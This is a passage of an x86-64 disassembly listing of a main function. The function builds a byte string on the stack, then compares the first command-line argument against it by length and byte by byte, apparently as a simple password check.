   0x00000000004013a2 <+524>:	mov    BYTE PTR [rbp-0x169],0x35
   0x00000000004013a9 <+531>:	mov    BYTE PTR [rbp-0x27],0x40
   0x00000000004013ad <+535>:	mov    BYTE PTR [rbp-0x1bc],0x34
   0x00000000004013b4 <+542>:	mov    BYTE PTR [rbp-0x3c],0x7e
   0x00000000004013b8 <+546>:	mov    BYTE PTR [rbp-0x16b],0x38
   0x00000000004013bf <+553>:	mov    BYTE PTR [rbp-0x139],0x34
   0x00000000004013c6 <+560>:	mov    BYTE PTR [rbp-0x14f],0x41
   0x00000000004013cd <+567>:	mov    BYTE PTR [rbp-0x9c],0x75
   0x00000000004013d4 <+574>:	mov    BYTE PTR [rbp-0x16a],0x34
   0x00000000004013db <+581>:	mov    BYTE PTR [rbp-0x35],0x69
   0x00000000004013df <+585>:	mov    BYTE PTR [rbp-0x11c],0x34
   0x00000000004013e6 <+592>:	mov    BYTE PTR [rbp-0xe1],0x5b
   0x00000000004013ed <+599>:	mov    BYTE PTR [rbp-0xbf],0x7d
   0x00000000004013f4 <+606>:	mov    BYTE PTR [rbp-0x93],0x73
   0x00000000004013fb <+613>:	mov    BYTE PTR [rbp-0x1b3],0x34
   0x0000000000401402 <+620>:	mov    BYTE PTR [rbp-0x3a],0x6e
   0x0000000000401406 <+624>:	mov    BYTE PTR [rbp-0x79],0x78
   0x000000000040140a <+628>:	mov    BYTE PTR [rbp-0x171],0x33
   0x0000000000401411 <+635>:	mov    BYTE PTR [rbp-0x10a],0x33
   0x0000000000401418 <+642>:	mov    BYTE PTR [rbp-0x7f],0x30
   0x000000000040141c <+646>:	mov    BYTE PTR [rbp-0x53],0x6f
   0x0000000000401420 <+650>:	mov    BYTE PTR [rbp-0x161],0x38
   0x0000000000401427 <+657>:	mov    BYTE PTR [rbp-0x132],0x35
   0x000000000040142e <+664>:	mov    BYTE PTR [rbp-0x1a2],0x35
   0x0000000000401435 <+671>:	mov    BYTE PTR [rbp-0x164],0x33
   0x000000000040143c <+678>:	mov    BYTE PTR [rbp-0x186],0x35
   0x0000000000401443 <+685>:	mov    BYTE PTR [rbp-0x92],0x3b
   0x000000000040144a <+692>:	mov    BYTE PTR [rbp-0xbd],0x4c
   0x0000000000401451 <+699>:	mov    BYTE PTR [rbp-0xcb],0x2e
   0x0000000000401458 <+706>:	mov    BYTE PTR [rbp-0x195],0x44
   0x000000000040145f <+713>:	mov    BYTE PTR [rbp-0xd2],0x5e
   0x0000000000401466 <+720>:	mov    BYTE PTR [rbp-0xe9],0x55
   0x000000000040146d <+727>:	mov    BYTE PTR [rbp-0x1bd],0x41
   0x0000000000401474 <+734>:	mov    BYTE PTR [rbp-0x70],0x3b
   0x0000000000401478 <+738>:	mov    BYTE PTR [rbp-0x5a],0x32
   0x000000000040147c <+742>:	mov    BYTE PTR [rbp-0x104],0x33
   0x0000000000401483 <+749>:	mov    BYTE PTR [rbp-0x11f],0x37
   0x000000000040148a <+756>:	mov    BYTE PTR [rbp-0x95],0x5e
   0x0000000000401491 <+763>:	mov    BYTE PTR [rbp-0xd8],0x36
   0x0000000000401498 <+770>:	mov    BYTE PTR [rbp-0x74],0x79
   0x000000000040149c <+774>:	mov    BYTE PTR [rbp-0x1b],0x67
   0x00000000004014a0 <+778>:	mov    BYTE PTR [rbp-0x16f],0x39
   0x00000000004014a7 <+785>:	mov    BYTE PTR [rbp-0x73],0x39
   0x00000000004014ab <+789>:	mov    BYTE PTR [rbp-0xce],0x5e
   0x00000000004014b2 <+796>:	mov    BYTE PTR [rbp-0x5c],0x76
   0x00000000004014b6 <+800>:	mov    BYTE PTR [rbp-0x69],0x47
   0x00000000004014ba <+804>:	mov    BYTE PTR [rbp-0x6e],0x66
   0x00000000004014be <+808>:	mov    BYTE PTR [rbp-0x119],0x36
   0x00000000004014c5 <+815>:	mov    BYTE PTR [rbp-0x1b0],0x34
   0x00000000004014cc <+822>:	mov    BYTE PTR [rbp-0x14d],0x41
   0x00000000004014d3 <+829>:	mov    BYTE PTR [rbp-0x173],0x34
   0x00000000004014da <+836>:	mov    BYTE PTR [rbp-0x142],0x35
   0x00000000004014e1 <+843>:	mov    BYTE PTR [rbp-0x16e],0x35
   0x00000000004014e8 <+850>:	mov    BYTE PTR [rbp-0xed],0x54
   0x00000000004014ef <+857>:	mov    BYTE PTR [rbp-0x28],0x6a
   0x00000000004014f3 <+861>:	mov    BYTE PTR [rbp-0xd0],0x3e
   0x00000000004014fa <+868>:	mov    BYTE PTR [rbp-0x1af],0x37
   0x0000000000401501 <+875>:	mov    BYTE PTR [rbp-0x49],0x39
   0x0000000000401505 <+879>:	mov    BYTE PTR [rbp-0x124],0x34
   0x000000000040150c <+886>:	mov    BYTE PTR [rbp-0xc8],0x28
   0x0000000000401513 <+893>:	mov    BYTE PTR [rbp-0x105],0x44
   0x000000000040151a <+900>:	mov    BYTE PTR [rbp-0x5b],0x5d
   0x000000000040151e <+904>:	mov    BYTE PTR [rbp-0x112],0x35
   0x0000000000401525 <+911>:	mov    BYTE PTR [rbp-0x8b],0x25
   0x000000000040152c <+918>:	mov    BYTE PTR [rbp-0x50],0x35
   0x0000000000401530 <+922>:	mov    BYTE PTR [rbp-0x18f],0x42
   0x0000000000401537 <+929>:	mov    BYTE PTR [rbp-0x15f],0x37
   0x000000000040153e <+936>:	mov    BYTE PTR [rbp-0x86],0x59
   0x0000000000401545 <+943>:	mov    BYTE PTR [rbp-0x12b],0x34
   0x000000000040154c <+950>:	mov    BYTE PTR [rbp-0x14e],0x35
   0x0000000000401553 <+957>:	mov    BYTE PTR [rbp-0x5d],0x72
   0x0000000000401557 <+961>:	mov    BYTE PTR [rbp-0x174],0x34
   0x000000000040155e <+968>:	mov    BYTE PTR [rbp-0x190],0x34
   0x0000000000401565 <+975>:	mov    BYTE PTR [rbp-0x48],0x55
   0x0000000000401569 <+979>:	mov    BYTE PTR [rbp-0x58],0x6b
   0x000000000040156d <+983>:	mov    BYTE PTR [rbp-0x62],0x2c
   0x0000000000401571 <+987>:	mov    BYTE PTR [rbp-0x117],0x44
   0x0000000000401578 <+994>:	mov    BYTE PTR [rbp-0xab],0x2c
   0x000000000040157f <+1001>:	mov    BYTE PTR [rbp-0xc9],0x4c
   0x0000000000401586 <+1008>:	mov    BYTE PTR [rbp-0x61],0x59
   0x000000000040158a <+1012>:	mov    BYTE PTR [rbp-0xd4],0x37
   0x0000000000401591 <+1019>:	mov    BYTE PTR [rbp-0x10b],0x44
   0x0000000000401598 <+1026>:	mov    BYTE PTR [rbp-0xac],0x33
   0x000000000040159f <+1033>:	mov    BYTE PTR [rbp-0x4c],0x51
   0x00000000004015a3 <+1037>:	mov    BYTE PTR [rbp-0x176],0x35
   0x00000000004015aa <+1044>:	mov    BYTE PTR [rbp-0xe2],0x4e
   0x00000000004015b1 <+1051>:	mov    BYTE PTR [rbp-0xc1],0x40
   0x00000000004015b8 <+1058>:	mov    BYTE PTR [rbp-0x4e],0x58
   0x00000000004015bc <+1062>:	mov    BYTE PTR [rbp-0xdb],0x69
   0x00000000004015c3 <+1069>:	mov    BYTE PTR [rbp-0x14b],0x33
   0x00000000004015ca <+1076>:	mov    BYTE PTR [rbp-0xd1],0x23
   0x00000000004015d1 <+1083>:	mov    BYTE PTR [rbp-0x7a],0x65
   0x00000000004015d5 <+1087>:	mov    BYTE PTR [rbp-0xc0],0x23
   0x00000000004015dc <+1094>:	mov    BYTE PTR [rbp-0x10e],0x35
   0x00000000004015e3 <+1101>:	mov    BYTE PTR [rbp-0x181],0x34
   0x00000000004015ea <+1108>:	mov    BYTE PTR [rbp-0xee],0x5e
   0x00000000004015f1 <+1115>:	mov    BYTE PTR [rbp-0x90],0x42
   0x00000000004015f8 <+1122>:	mov    BYTE PTR [rbp-0x1bb],0x33
   0x00000000004015ff <+1129>:	mov    BYTE PTR [rbp-0x96],0x4c
   0x0000000000401606 <+1136>:	mov    BYTE PTR [rbp-0x15a],0x34
   0x000000000040160d <+1143>:	mov    BYTE PTR [rbp-0x34],0x3b
   0x0000000000401611 <+1147>:	mov    BYTE PTR [rbp-0x145],0x33
   0x0000000000401618 <+1154>:	mov    BYTE PTR [rbp-0x60],0x52
   0x000000000040161c <+1158>:	mov    BYTE PTR [rbp-0x1d],0x29
   0x0000000000401620 <+1162>:	mov    BYTE PTR [rbp-0x1b2],0x34
   0x0000000000401627 <+1169>:	mov    BYTE PTR [rbp-0x193],0x42
   0x000000000040162e <+1176>:	mov    BYTE PTR [rbp-0x4b],0x4c
   0x0000000000401632 <+1180>:	mov    BYTE PTR [rbp-0x187],0x42
   0x0000000000401639 <+1187>:	mov    BYTE PTR [rbp-0xd3],0x3d
   0x0000000000401640 <+1194>:	mov    BYTE PTR [rbp-0x9d],0x2d
   0x0000000000401647 <+1201>:	mov    BYTE PTR [rbp-0xbc],0x34
   0x000000000040164e <+1208>:	mov    BYTE PTR [rbp-0x37],0x67
   0x0000000000401652 <+1212>:	mov    BYTE PTR [rbp-0x83],0x7d
   0x0000000000401659 <+1219>:	mov    BYTE PTR [rbp-0xaa],0x42
   0x0000000000401660 <+1226>:	mov    BYTE PTR [rbp-0xb8],0x51
   0x0000000000401667 <+1233>:	mov    BYTE PTR [rbp-0x109],0x44
   0x000000000040166e <+1240>:	mov    BYTE PTR [rbp-0x12a],0x34
   0x0000000000401675 <+1247>:	mov    BYTE PTR [rbp-0xdd],0x23
   0x000000000040167c <+1254>:	mov    BYTE PTR [rbp-0x17e],0x34
   0x0000000000401683 <+1261>:	mov    BYTE PTR [rbp-0x25],0x6f
   0x0000000000401687 <+1265>:	mov    BYTE PTR [rbp-0x59],0x33
   0x000000000040168b <+1269>:	mov    BYTE PTR [rbp-0xc4],0x67
   0x0000000000401692 <+1276>:	mov    BYTE PTR [rbp-0x97],0x6b
   0x0000000000401699 <+1283>:	mov    BYTE PTR [rbp-0x1a],0x75
   0x000000000040169d <+1287>:	mov    BYTE PTR [rbp-0x7b],0x62
   0x00000000004016a1 <+1291>:	mov    BYTE PTR [rbp-0x18e],0x35
   0x00000000004016a8 <+1298>:	mov    BYTE PTR [rbp-0x2a],0x65
   0x00000000004016ac <+1302>:	mov    BYTE PTR [rbp-0x159],0x36
   0x00000000004016b3 <+1309>:	mov    BYTE PTR [rbp-0x158],0x34
   0x00000000004016ba <+1316>:	mov    BYTE PTR [rbp-0xa0],0x79
   0x00000000004016c1 <+1323>:	mov    BYTE PTR [rbp-0x1be],0x35
   0x00000000004016c8 <+1330>:	mov    BYTE PTR [rbp-0x99],0x42
   0x00000000004016cf <+1337>:	mov    BYTE PTR [rbp-0xcc],0x51
   0x00000000004016d6 <+1344>:	mov    BYTE PTR [rbp-0xca],0x3a
   0x00000000004016dd <+1351>:	mov    BYTE PTR [rbp-0x16c],0x34
   0x00000000004016e4 <+1358>:	mov    BYTE PTR [rbp-0x1a8],0x35
   0x00000000004016eb <+1365>:	mov    BYTE PTR [rbp-0x14a],0x35
   0x00000000004016f2 <+1372>:	mov    BYTE PTR [rbp-0x192],0x34
   0x00000000004016f9 <+1379>:	mov    BYTE PTR [rbp-0x11a],0x34
   0x0000000000401700 <+1386>:	mov    BYTE PTR [rbp-0x168],0x35
   0x0000000000401707 <+1393>:	mov    BYTE PTR [rbp-0x8a],0x67
   0x000000000040170e <+1400>:	mov    BYTE PTR [rbp-0xea],0x6a
   0x0000000000401715 <+1407>:	mov    BYTE PTR [rbp-0x162],0x35
   0x000000000040171c <+1414>:	mov    BYTE PTR [rbp-0x118],0x34
   0x0000000000401723 <+1421>:	mov    BYTE PTR [rbp-0x121],0x36
   0x000000000040172a <+1428>:	mov    BYTE PTR [rbp-0x123],0x42
   0x0000000000401731 <+1435>:	mov    BYTE PTR [rbp-0x6c],0x6c
   0x0000000000401735 <+1439>:	mov    BYTE PTR [rbp-0x5e],0x2b
   0x0000000000401739 <+1443>:	mov    BYTE PTR [rbp-0xc7],0x24
   0x0000000000401740 <+1450>:	mov    BYTE PTR [rbp-0x31],0x44
   0x0000000000401744 <+1454>:	mov    BYTE PTR [rbp-0xc3],0x5a
   0x000000000040174b <+1461>:	mov    BYTE PTR [rbp-0x87],0x20
   0x0000000000401752 <+1468>:	mov    BYTE PTR [rbp-0x18d],0x32
   0x0000000000401759 <+1475>:	mov    BYTE PTR [rbp-0x9e],0x24
   0x0000000000401760 <+1482>:	mov    BYTE PTR [rbp-0x1a9],0x38
   0x0000000000401767 <+1489>:	mov    BYTE PTR [rbp-0x91],0x54
   0x000000000040176e <+1496>:	mov    BYTE PTR [rbp-0x46],0x33
   0x0000000000401772 <+1500>:	mov    BYTE PTR [rbp-0x1b1],0x33
   0x0000000000401779 <+1507>:	mov    BYTE PTR [rbp-0x2e],0x3a
   0x000000000040177d <+1511>:	mov    BYTE PTR [rbp-0xa2],0x2e
   0x0000000000401784 <+1518>:	mov    BYTE PTR [rbp-0x183],0x41
   0x000000000040178b <+1525>:	mov    BYTE PTR [rbp-0x18c],0x35
   0x0000000000401792 <+1532>:	mov    BYTE PTR [rbp-0x1b7],0x31
   0x0000000000401799 <+1539>:	mov    BYTE PTR [rbp-0xb7],0x6d
   0x00000000004017a0 <+1546>:	mov    BYTE PTR [rbp-0x110],0x34
   0x00000000004017a7 <+1553>:	mov    BYTE PTR [rbp-0x1ad],0x39
   0x00000000004017ae <+1560>:	mov    BYTE PTR [rbp-0xa7],0x40
   0x00000000004017b5 <+1567>:	mov    BYTE PTR [rbp-0x55],0x51
   0x00000000004017b9 <+1571>:	mov    BYTE PTR [rbp-0x44],0x25
   0x00000000004017bd <+1575>:	mov    BYTE PTR [rbp-0x179],0x37
   0x00000000004017c4 <+1582>:	mov    BYTE PTR [rbp-0x56],0x38
   0x00000000004017c8 <+1586>:	mov    BYTE PTR [rbp-0x2b],0x64
   0x00000000004017cc <+1590>:	mov    BYTE PTR [rbp-0x19c],0x34
   0x00000000004017d3 <+1597>:	mov    BYTE PTR [rbp-0xb2],0x7a
   0x00000000004017da <+1604>:	mov    BYTE PTR [rbp-0xb4],0x5a
   0x00000000004017e1 <+1611>:	mov    BYTE PTR [rbp-0x8c],0x66
   0x00000000004017e8 <+1618>:	mov    BYTE PTR [rbp-0x9b],0x74
   0x00000000004017ef <+1625>:	mov    BYTE PTR [rbp-0xb9],0x21
   0x00000000004017f6 <+1632>:	mov    BYTE PTR [rbp-0x129],0x35
   0x00000000004017fd <+1639>:	mov    BYTE PTR [rbp-0x13e],0x33
   0x0000000000401804 <+1646>:	mov    BYTE PTR [rbp-0x16d],0x41
   0x000000000040180b <+1653>:	mov    BYTE PTR [rbp-0x17b],0x42
   0x0000000000401812 <+1660>:	mov    BYTE PTR [rbp-0x1aa],0x34
   0x0000000000401819 <+1667>:	mov    BYTE PTR [rbp-0x138],0x35
   0x0000000000401820 <+1674>:	mov    BYTE PTR [rbp-0x7d],0x30
   0x0000000000401824 <+1678>:	mov    BYTE PTR [rbp-0x13f],0x41
   0x000000000040182b <+1685>:	mov    BYTE PTR [rbp-0x10c],0x33
   0x0000000000401832 <+1692>:	mov    BYTE PTR [rbp-0xd6],0x46
   0x0000000000401839 <+1699>:	mov    BYTE PTR [rbp-0x36],0x2c
   0x000000000040183d <+1703>:	mov    BYTE PTR [rbp-0x155],0x36
   0x0000000000401844 <+1710>:	mov    BYTE PTR [rbp-0x160],0x34
   0x000000000040184b <+1717>:	mov    BYTE PTR [rbp-0x189],0x36
   0x0000000000401852 <+1724>:	mov    BYTE PTR [rbp-0xe7],0x2f
   0x0000000000401859 <+1731>:	mov    BYTE PTR [rbp-0x1b6],0x35
   0x0000000000401860 <+1738>:	mov    BYTE PTR [rbp-0x8f],0x28
   0x0000000000401867 <+1745>:	mov    BYTE PTR [rbp-0x9f],0x30
   0x000000000040186e <+1752>:	mov    BYTE PTR [rbp-0x15d],0x36
   0x0000000000401875 <+1759>:	mov    BYTE PTR [rbp-0xa4],0x2e
   0x000000000040187c <+1766>:	mov    BYTE PTR [rbp-0x199],0x36
   0x0000000000401883 <+1773>:	mov    BYTE PTR [rbp-0xe6],0x3c
   0x000000000040188a <+1780>:	mov    BYTE PTR [rbp-0x45],0x42
   0x000000000040188e <+1784>:	mov    BYTE PTR [rbp-0x170],0x34
   0x0000000000401895 <+1791>:	mov    BYTE PTR [rbp-0x57],0x71
   0x0000000000401899 <+1795>:	mov    BYTE PTR [rbp-0x127],0x44
   0x00000000004018a0 <+1802>:	mov    BYTE PTR [rbp-0x94],0x6a
   0x00000000004018a7 <+1809>:	mov    BYTE PTR [rbp-0x13a],0x35
   0x00000000004018ae <+1816>:	mov    BYTE PTR [rbp-0x1bf],0x42
   0x00000000004018b5 <+1823>:	mov    BYTE PTR [rbp-0xc2],0x7b
   0x00000000004018bc <+1830>:	mov    BYTE PTR [rbp-0x5f],0x7a
   0x00000000004018c0 <+1834>:	mov    BYTE PTR [rbp-0x84],0x46
   0x00000000004018c7 <+1841>:	mov    BYTE PTR [rbp-0x149],0x35
   0x00000000004018ce <+1848>:	mov    BYTE PTR [rbp-0x182],0x35
   0x00000000004018d5 <+1855>:	mov    BYTE PTR [rbp-0x1f],0x57
   0x00000000004018d9 <+1859>:	mov    BYTE PTR [rbp-0x65],0x78
   0x00000000004018dd <+1863>:	mov    BYTE PTR [rbp-0x24],0x2a
   0x00000000004018e1 <+1867>:	mov    BYTE PTR [rbp-0xb5],0x40
   0x00000000004018e8 <+1874>:	mov    BYTE PTR [rbp-0x1a0],0x34
   0x00000000004018ef <+1881>:	mov    BYTE PTR [rbp-0x154],0x34
   0x00000000004018f6 <+1888>:	mov    BYTE PTR [rbp-0xe4],0x72
   0x00000000004018fd <+1895>:	mov    BYTE PTR [rbp-0x1ba],0x35
   0x0000000000401904 <+1902>:	mov    BYTE PTR [rbp-0x89],0x5b
   0x000000000040190b <+1909>:	mov    BYTE PTR [rbp-0xe5],0x42
   0x0000000000401912 <+1916>:	mov    BYTE PTR [rbp-0xbe],0x38
   0x0000000000401919 <+1923>:	mov    BYTE PTR [rbp-0x88],0x6a
   0x0000000000401920 <+1930>:	mov    BYTE PTR [rbp-0x172],0x34
   0x0000000000401927 <+1937>:	mov    BYTE PTR [rbp-0x134],0x35
   0x000000000040192e <+1944>:	mov    BYTE PTR [rbp-0x150],0x34
   0x0000000000401935 <+1951>:	mov    BYTE PTR [rbp-0x39],0x68
   0x0000000000401939 <+1955>:	mov    BYTE PTR [rbp-0x136],0x33
   0x0000000000401940 <+1962>:	mov    BYTE PTR [rbp-0x1b4],0x34
   0x0000000000401947 <+1969>:	mov    BYTE PTR [rbp-0xad],0x5e
   0x000000000040194e <+1976>:	mov    BYTE PTR [rbp-0x2f],0x35
   0x0000000000401952 <+1980>:	mov    BYTE PTR [rbp-0xb3],0x6f
   0x0000000000401959 <+1987>:	mov    BYTE PTR [rbp-0x151],0x39
   0x0000000000401960 <+1994>:	mov    BYTE PTR [rbp-0x120],0x34
   0x0000000000401967 <+2001>:	mov    BYTE PTR [rbp-0x98],0x34
   0x000000000040196e <+2008>:	mov    BYTE PTR [rbp-0xba],0x54
   0x0000000000401975 <+2015>:	mov    BYTE PTR [rbp-0x82],0x3d
   0x000000000040197c <+2022>:	mov    BYTE PTR [rbp-0x17a],0x34
   0x0000000000401983 <+2029>:	mov    BYTE PTR [rbp-0x6f],0x7c
   0x0000000000401987 <+2033>:	mov    BYTE PTR [rbp-0x51],0x5b
   0x000000000040198b <+2037>:	mov    BYTE PTR [rbp-0x2d],0x7e
   0x000000000040198f <+2041>:	mov    BYTE PTR [rbp-0x1ac],0x33
   0x0000000000401996 <+2048>:	mov    BYTE PTR [rbp-0x26],0x7e
   0x000000000040199a <+2052>:	mov    BYTE PTR [rbp-0x185],0x36
   0x00000000004019a1 <+2059>:	mov    BYTE PTR [rbp-0x4a],0x3f
   0x00000000004019a5 <+2063>:	mov    BYTE PTR [rbp-0x157],0x46
   0x00000000004019ac <+2070>:	mov    BYTE PTR [rbp-0x15e],0x34
   0x00000000004019b3 <+2077>:	mov    BYTE PTR [rbp-0x1a6],0x35
   0x00000000004019ba <+2084>:	mov    BYTE PTR [rbp-0x77],0x3c
   0x00000000004019be <+2088>:	mov    BYTE PTR [rbp-0x167],0x33
   0x00000000004019c5 <+2095>:	mov    BYTE PTR [rbp-0xe8],0x5a
   0x00000000004019cc <+2102>:	mov    BYTE PTR [rbp-0x11b],0x36
   0x00000000004019d3 <+2109>:	mov    BYTE PTR [rbp-0x115],0x37
   0x00000000004019da <+2116>:	mov    BYTE PTR [rbp-0x106],0x33
   0x00000000004019e1 <+2123>:	mov    BYTE PTR [rbp-0x13c],0x34
   0x00000000004019e8 <+2130>:	mov    BYTE PTR [rbp-0x4f],0x47
   0x00000000004019ec <+2134>:	mov    BYTE PTR [rbp-0x12f],0x42
   0x00000000004019f3 <+2141>:	mov    BYTE PTR [rbp-0xcf],0x5b
   0x00000000004019fa <+2148>:	mov    BYTE PTR [rbp-0xa3],0x3a
   0x0000000000401a01 <+2155>:	mov    BYTE PTR [rbp-0x15b],0x39
   0x0000000000401a08 <+2162>:	mov    BYTE PTR [rbp-0x54],0x72
   0x0000000000401a0c <+2166>:	mov    BYTE PTR [rbp-0x107],0x44
   0x0000000000401a13 <+2173>:	mov    BYTE PTR [rbp-0x180],0x34
   0x0000000000401a1a <+2180>:	mov    BYTE PTR [rbp-0x7e],0x3d
   0x0000000000401a1e <+2184>:	mov    BYTE PTR [rbp-0x14c],0x35
   0x0000000000401a25 <+2191>:	mov    BYTE PTR [rbp-0xec],0x66
   0x0000000000401a2c <+2198>:	mov    BYTE PTR [rbp-0x1a1],0x39
   0x0000000000401a33 <+2205>:	mov    BYTE PTR [rbp-0x15c],0x34
   0x0000000000401a3a <+2212>:	mov    BYTE PTR [rbp-0x10d],0x35
   0x0000000000401a41 <+2219>:	mov    BYTE PTR [rbp-0x116],0x35
   0x0000000000401a48 <+2226>:	mov    BYTE PTR [rbp-0x163],0x32
   0x0000000000401a4f <+2233>:	mov    BYTE PTR [rbp-0x63],0x42
   0x0000000000401a53 <+2237>:	mov    BYTE PTR [rbp-0xae],0x3b
   0x0000000000401a5a <+2244>:	mov    BYTE PTR [rbp-0x3b],0x26
   0x0000000000401a5e <+2248>:	mov    BYTE PTR [rbp-0xe0],0x61
   0x0000000000401a65 <+2255>:	mov    BYTE PTR [rbp-0xda],0x50
   0x0000000000401a6c <+2262>:	mov    BYTE PTR [rbp-0x8e],0x58
   0x0000000000401a73 <+2269>:	mov    BYTE PTR [rbp-0x148],0x34
   0x0000000000401a7a <+2276>:	mov    BYTE PTR [rbp-0x2c],0x6f
   0x0000000000401a7e <+2280>:	mov    BYTE PTR [rbp-0x20],0x4f
   0x0000000000401a82 <+2284>:	mov    BYTE PTR [rbp-0xd9],0x42
   0x0000000000401a89 <+2291>:	mov    BYTE PTR [rbp-0xc5],0x32
   0x0000000000401a90 <+2298>:	mov    BYTE PTR [rbp-0xdc],0x35
   0x0000000000401a97 <+2305>:	mov    BYTE PTR [rbp-0x12e],0x35
   0x0000000000401a9e <+2312>:	mov    BYTE PTR [rbp-0xeb],0x76
   0x0000000000401aa5 <+2319>:	mov    BYTE PTR [rbp-0xd5],0x6b
   0x0000000000401aac <+2326>:	mov    BYTE PTR [rbp-0x23],0x4f
   0x0000000000401ab0 <+2330>:	mov    BYTE PTR [rbp-0x40],0x2d
   0x0000000000401ab4 <+2334>:	mov    BYTE PTR [rbp-0x6a],0x60
   0x0000000000401ab8 <+2338>:	mov    BYTE PTR [rbp-0x1ae],0x34
   0x0000000000401abf <+2345>:	mov    BYTE PTR [rbp-0x19a],0x34
   0x0000000000401ac6 <+2352>:	mov    BYTE PTR [rbp-0x72],0x6c
   0x0000000000401aca <+2356>:	mov    BYTE PTR [rbp-0x19d],0x32
   0x0000000000401ad1 <+2363>:	mov    BYTE PTR [rbp-0x156],0x35
   0x0000000000401ad8 <+2370>:	mov    BYTE PTR [rbp-0x52],0x3e
   0x0000000000401adc <+2374>:	mov    BYTE PTR [rbp-0x17f],0x42
   0x0000000000401ae3 <+2381>:	mov    BYTE PTR [rbp-0x191],0x46
   0x0000000000401aea <+2388>:	mov    BYTE PTR [rbp-0xaf],0x21
   0x0000000000401af1 <+2395>:	mov    BYTE PTR [rbp-0x3e],0x3d
   0x0000000000401af5 <+2399>:	mov    BYTE PTR [rbp-0x194],0x34
   0x0000000000401afc <+2406>:	mov    BYTE PTR [rbp-0x19b],0x41
   0x0000000000401b03 <+2413>:	mov    BYTE PTR [rbp-0x141],0x33
   0x0000000000401b0a <+2420>:	mov    BYTE PTR [rbp-0x111],0x31
   0x0000000000401b11 <+2427>:	mov    BYTE PTR [rbp-0xc6],0x23
   0x0000000000401b18 <+2434>:	mov    BYTE PTR [rbp-0xb6],0x5a
   0x0000000000401b1f <+2441>:	mov    BYTE PTR [rbp-0x12d],0x36
   0x0000000000401b26 <+2448>:	mov    BYTE PTR [rbp-0x13b],0x43
   0x0000000000401b2d <+2455>:	mov    BYTE PTR [rbp-0x101],0x44
   0x0000000000401b34 <+2462>:	mov    BYTE PTR [rbp-0x113],0x32
   0x0000000000401b3b <+2469>:	mov    BYTE PTR [rbp-0xde],0x78
   0x0000000000401b42 <+2476>:	mov    BYTE PTR [rbp-0x1a3],0x42
   0x0000000000401b49 <+2483>:	mov    BYTE PTR [rbp-0x42],0x57
   0x0000000000401b4d <+2487>:	mov    BYTE PTR [rbp-0xb1],0x33
   0x0000000000401b54 <+2494>:	mov    BYTE PTR [rbp-0x140],0x34
   0x0000000000401b5b <+2501>:	mov    BYTE PTR [rbp-0x21],0x7b
   0x0000000000401b5f <+2505>:	mov    BYTE PTR [rbp-0x133],0x33
   0x0000000000401b66 <+2512>:	mov    BYTE PTR [rbp-0x130],0x34
   0x0000000000401b6d <+2519>:	mov    BYTE PTR [rbp-0x103],0x44
   0x0000000000401b74 <+2526>:	mov    BYTE PTR [rbp-0x67],0x3a
   0x0000000000401b78 <+2530>:	mov    BYTE PTR [rbp-0xa9],0x39
   0x0000000000401b7f <+2537>:	mov    BYTE PTR [rbp-0x71],0x72
   0x0000000000401b83 <+2541>:	mov    BYTE PTR [rbp-0x80],0x68
   0x0000000000401b87 <+2545>:	mov    BYTE PTR [rbp-0x19e],0x35
   0x0000000000401b8e <+2552>:	mov    BYTE PTR [rbp-0x1ab],0x32
   0x0000000000401b95 <+2559>:	mov    BYTE PTR [rbp-0x128],0x34
   0x0000000000401b9c <+2566>:	mov    BYTE PTR [rbp-0x125],0x36
   0x0000000000401ba3 <+2573>:	mov    BYTE PTR [rbp-0x12c],0x33
   0x0000000000401baa <+2580>:	mov    BYTE PTR [rbp-0x6b],0x6b
   0x0000000000401bae <+2584>:	mov    BYTE PTR [rbp-0x13d],0x35
   0x0000000000401bb5 <+2591>:	mov    BYTE PTR [rbp-0x147],0x42
   0x0000000000401bbc <+2598>:	mov    BYTE PTR [rbp-0x153],0x43
   0x0000000000401bc3 <+2605>:	mov    BYTE PTR [rbp-0x1b9],0x37
   0x0000000000401bca <+2612>:	mov    BYTE PTR [rbp-0x6d],0x53
   0x0000000000401bce <+2616>:	mov    BYTE PTR [rbp-0xef],0x40
   0x0000000000401bd5 <+2623>:	mov    BYTE PTR [rbp-0x198],0x34
   0x0000000000401bdc <+2630>:	mov    BYTE PTR [rbp-0x76],0x6f
   0x0000000000401be0 <+2634>:	mov    BYTE PTR [rbp-0x19f],0x46
   0x0000000000401be7 <+2641>:	mov    DWORD PTR [rbp-0x1c4],0x0
   0x0000000000401bf1 <+2651>:	mov    rax,QWORD PTR [rbp-0x1e0]
   0x0000000000401bf8 <+2658>:	add    rax,0x8
   0x0000000000401bfc <+2662>:	mov    rax,QWORD PTR [rax]
   0x0000000000401bff <+2665>:	movzx  eax,BYTE PTR [rax]
   0x0000000000401c02 <+2668>:	test   al,al
   0x0000000000401c04 <+2670>:	jne    0x401c10 <main+2682>
   0x0000000000401c06 <+2672>:	mov    eax,0xffffffff
   0x0000000000401c0b <+2677>:	jmp    0x401d7a <main+3044>
   0x0000000000401c10 <+2682>:	mov    rax,QWORD PTR [rbp-0x1e0]
   0x0000000000401c17 <+2689>:	add    rax,0x8
   0x0000000000401c1b <+2693>:	mov    rax,QWORD PTR [rax]
   0x0000000000401c1e <+2696>:	mov    rdi,rax
   0x0000000000401c21 <+2699>:	call   0x401080 <strlen@plt>
   0x0000000000401c26 <+2704>:	mov    rbx,rax
   0x0000000000401c29 <+2707>:	lea    rax,[rbp-0x1c0]
   0x0000000000401c30 <+2714>:	mov    rdi,rax
   0x0000000000401c33 <+2717>:	call   0x401080 <strlen@plt>
   0x0000000000401c38 <+2722>:	cmp    rbx,rax
   0x0000000000401c3b <+2725>:	jne    0x401cef <main+2905>
   0x0000000000401c41 <+2731>:	mov    DWORD PTR [rbp-0x1c4],0x0
   0x0000000000401c4b <+2741>:	jmp    0x401cad <main+2839>
   0x0000000000401c4d <+2743>:	mov    rax,QWORD PTR [rbp-0x1e0]
   0x0000000000401c54 <+2750>:	add    rax,0x8
   0x0000000000401c58 <+2754>:	mov    rdx,QWORD PTR [rax]
   0x0000000000401c5b <+2757>:	mov    eax,DWORD PTR [rbp-0x1c4]
   0x0000000000401c61 <+2763>:	cdqe   
   0x0000000000401c63 <+2765>:	add    rax,rdx
   0x0000000000401c66 <+2768>:	movzx  edx,BYTE PTR [rax]
   0x0000000000401c69 <+2771>:	mov    eax,DWORD PTR [rbp-0x1c4]
   0x0000000000401c6f <+2777>:	cdqe   
   0x0000000000401c71 <+2779>:	movzx  eax,BYTE PTR [rbp+rax*1-0x1c0]
   0x0000000000401c79 <+2787>:	cmp    dl,al
   0x0000000000401c7b <+2789>:	je     0x401ca6 <main+2832>
